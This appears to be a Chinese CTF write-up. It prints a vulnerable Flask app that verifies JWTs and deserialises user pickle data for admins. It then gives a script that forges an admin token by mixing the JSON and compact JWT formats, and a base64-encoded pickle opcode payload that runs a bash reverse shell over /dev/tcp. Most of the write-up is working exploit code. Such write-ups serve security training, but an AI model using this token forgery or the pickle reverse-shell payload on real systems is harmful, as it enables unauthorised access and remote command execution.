下载附件
# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *app = Flask(__name__) # 创建 Flask 应用实例def generate_random_string(length=16):"""生成一个指定长度的随机字符串,由字母和数字组成。:param length: 字符串的长度,默认为16:return: 随机生成的字符串"""characters = string.ascii_letters + string.digits # 包含字母和数字random_string = ''.join(random.choice(characters) for _ in range(length))return random_string# 设置 Flask 的 SECRET_KEY,随机生成一个16位的字符串
app.config['SECRET_KEY'] = generate_random_string(16)# 生成一个 RSA 密钥,用于 JWT 签名和验证
key = jwk.JWK.generate(kty='RSA', size=2048)@app.route("/")
def index():"""处理主页请求。根据请求中的 token 验证用户角色,并渲染相应的模板。如果没有提供 token,则生成一个默认的 JWT 并返回给客户端。"""payload = request.args.get("token") # 从查询参数中获取 tokenif payload:try:# 验证 JWT,获取用户角色token = verify_jwt(payload, key, ['PS256'])session["role"] = token[1]['role'] # 将用户角色存储在 session 中except Exception as e:# 如果 JWT 验证失败,默认为 guest 角色session["role"] = "guest"else:# 如果没有 token,设置默认角色为 guest,并生成一个新的 JWTsession["role"] = "guest"user = {"username": "boogipop", "role": "guest"}jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60)) # 生成 JWTreturn render_template('index.html', token=jwt) # 返回渲染的模板及生成的 tokenreturn render_template('index.html') # 返回渲染的模板@app.route("/pickle")
def unser():"""处理 pickle 请求。如果用户角色为 admin,则解码和反序列化 pickle 数据。否则,直接渲染模板。"""if session.get("role") == "admin": # 检查用户角色是否为 admintry:pickle_data = request.args.get("pickle") # 从查询参数中获取 pickle 数据if pickle_data:pickle.loads(base64.b64decode(pickle_data)) # 解码和反序列化 pickle 数据except Exception as e:# 捕获 pickle 解码和反序列化过程中的异常(如有)return render_template("index.html", error=f"Pickle error: {e}")return render_template("index.html") # 返回渲染的模板if __name__ == "__main__":# 启动 Flask 应用,监听所有网络接口的 5000 端口app.run(host="0.0.0.0", port=5000, debug=True)
通过对代码简单的分析思路很明显
现在/路由下进行token伪造
脚本
import base64
from datetime import timedelta
from json import loads, dumps
import jwcrypto.common
from jwcrypto.common import base64url_decode, base64url_encodedef topic(topic):""" Use mix of JSON and compact format to insert forged claims including long expiration """[header, payload, signature] = topic.split('.')parsed_payload = loads(base64url_decode(payload))parsed_payload['role'] = 'admin'fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'originaltoken = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjI1OTE1NjYsImlhdCI6MTcyMjU4Nzk2NiwianRpIjoiUHZQUk1fWXRmaDJrT0FDZl9zQzd4USIsIm5iZiI6MTcyMjU4Nzk2Niwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.paFjWMAcxz5l_RfYKFQVU-kZhuJSJli9ckQ8Q_k8ouMAGaW1YE-OAyl9XFP0-iQosVaFKFUzojMtJRxAHxdnK3L8yjjZrpr9XLsLV87UNMC_Nl-NPCYMzXpPvT5d6bCqViKELVIWecTVjMo0vO2q4GNs83K6lNE6-dq0jrvYELg-KB6sqVoH5QfRRG_lbzVxtTOIVnE6Z9z9C36NU44G6fHjeYqBYhJ3Z7Hudhib4y6aXzpL9vLtI8swQNBkUZUf8F8CR5b-QAxl86FfI6cnXkO11tENBhPMnw_vtn5XOcUy3hRwrHDG6I6a5R-r6BWzPSNSHGvcFxjPA8eOWQVvBQ'
topic = topic(originaltoken)
print(topic)
然后就
接下来就是开始利用pickle.loads(base64.b64decode(pickle_data))来执行命令
直接弹shell
import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/ip/端口 0>&1'"
tR.
'''
print(base64.b64encode(opcode))